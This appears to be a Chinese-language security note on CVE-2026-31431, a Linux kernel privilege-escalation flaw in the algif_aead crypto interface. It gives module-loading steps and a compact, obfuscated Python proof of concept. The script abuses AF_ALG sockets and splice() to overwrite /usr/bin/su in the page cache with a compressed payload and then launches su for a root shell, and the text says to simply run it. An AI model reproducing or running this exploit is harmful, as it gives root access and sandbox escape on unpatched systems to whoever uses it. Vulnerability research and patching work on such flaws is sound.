概要
编号:CVE-2026-31431
影响范围:2017年(commit 72548b093ee3)至补丁发布前的linux内核
危害:本地提权,且可用于沙箱逃逸
描述
漏洞源于linux内核的algif_aead密码算法接口,允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获得root权限
复现
先检查模块是否加载
lsmod | grep algif_aead
有回显说明接口已经暴露
如果没有回显需要先加载该模块
modprobe algif_aead

poc:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
直接执行即可

相关笔记
- 渗透实战(提权应用):不死马
- 护网防守视角:护网培训
- 密码学基础(algif_aead 涉及内核密码接口):AES